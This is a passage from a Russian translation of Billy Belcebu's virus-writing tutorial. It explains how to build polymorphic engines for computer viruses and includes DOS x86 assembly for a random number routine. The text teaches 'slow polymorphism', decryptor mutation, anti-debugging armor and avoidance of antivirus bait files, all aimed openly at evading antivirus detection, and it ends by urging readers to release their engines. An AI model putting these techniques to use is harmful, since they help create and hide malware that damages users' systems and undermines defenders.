        xchg    ax,dx
        pop     dx bx
        ret

Достаточно просто. Генерация случайных чисел понадобится нам в следующей главе о медленном полиморфизме.

Медленный полиморфизм

Если вы знали бы, как эта техника напрягает AVеров, то могли бы подумать, что она очень сложна. Hет. Авторы первых полиморфных движков думали, что лучший путь натянуть AVеров — это сделать декрпторы очень изменчивыми в каждом поколении. Это работало для первых PER’ов, но затем AVеры обнаружили, что если заразить тысячи наживок полиморфным вирусом, можно отследить все возможные мутации и выделить сканстроку, которую можно добавить в базу антивируса. Hо… что произойдет, если мы сделаем мутацию декриптора очень медленной? Тогда на свет появится медленный полиморфизм. Да, с помощью этой простой идеи, которая на первый взгляд может показаться полным отстоем, мы можем заставить AVеров сходить с ума. Главное, что нам понадобится при реализации медленного полиморфизма — это генератор случайных чисел.

 random_range:
        push    bx cx dx
        xchg    ax,bx
        mov     ax,2C00h
        int     21h
        xchg    ax,dx
        xor     ax,0FFFFh
        xor     dx,dx
        div     bx
        xchg    ax,dx
        pop     dx cx bx
        ret

С помощью продецуры вроде вышеприведенной ваш PER станет на 100 медленномполиморфичным. Я надеюсь, что все это достаточно понятно.

Вместо данной методики вы можете сделать счетчик, который будет избегать мутирования на протяжении длительного периода времени, но лично я предпочитаю вышеизложенную технику для реализации медленного полиморфизма.

Продвинутый полиморфизм

Вы переходите к продвинутому полиморфизму. Вы должны попытаться генерировать похожие на настоящие вызовы подпрограмм, прерываний, поиграться с уже известными значениями, сделать сравнения, за которыми следуют условные переходы и все, что вы можете придумать. Вы должны всегда улучшать изменчивость вашего полидвижка: если он медленен и очень изменчив, AVеры обломаются. Представьте возможности: вы можете закриптовать ваш код сверху до низу и обратно, использовать si, di, bx и все, что вы захотите в качестве счетчика, вы можете добавить генератор длинных процедур, например против отладки (neg sр/neg sр, not sр/not sр…), сделать декриптор в середине вируса (или файла), декриптор на INT 1 (чертовски классный прием!), делать ни на что не влияющие перестановки в памяти, использовать то операнды размером в слово, то размеров в байт, комбинировать их, заменять их…

То есть, вы должны узнать подробнее о еще более продвинутых техниках полиморфизма. Есть несколько интересных публикаций по этому поводу, например от Methyl’а (aka Owl[FS]).

Заключительные слова о полиморфизме

Hо реальный мир жесток, AVеры попытаются найти все наши возможные декрипторы, дизассемблировав наш прекрасный медленный полиморфный движок.

И тут, чтобы спасти наши задницы, в дело вступает броня. Мы должны максимальным образом защитить наш PER специальной шифрующей процедурой (а декриптор должен быть очень хорошо защищен от отладки). Так как у них не будет достаточного времени дизассемблировать движок, они не смогут увидеть все, что он может сделать :). У вас есть хороший выбор антиотладочных техник в соответствующей главе. Поэтому AVеры сконцентрируются на наживках, а посему мы должны избежать заражения этих бессмысленных файлов (об этом будет pассказано в главе «Антинаживка».

Я хочу увидеть ваши PER’ы, рулящие в этом мире! 🙂

[C] Billy Belcebu, пер. Aquila

 

Источник wasm.ru /01.09.2002/

Поделиться в соц сетях

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Есть идеи, замечания, предложения? Воспользуйтесь формой Обратная связь или отправьте сообщение по адресу replay@sciencestory.ru
© 2017 Истории науки. Информация на сайте опубликована в ознакомительных целях может иметь ограничение 18+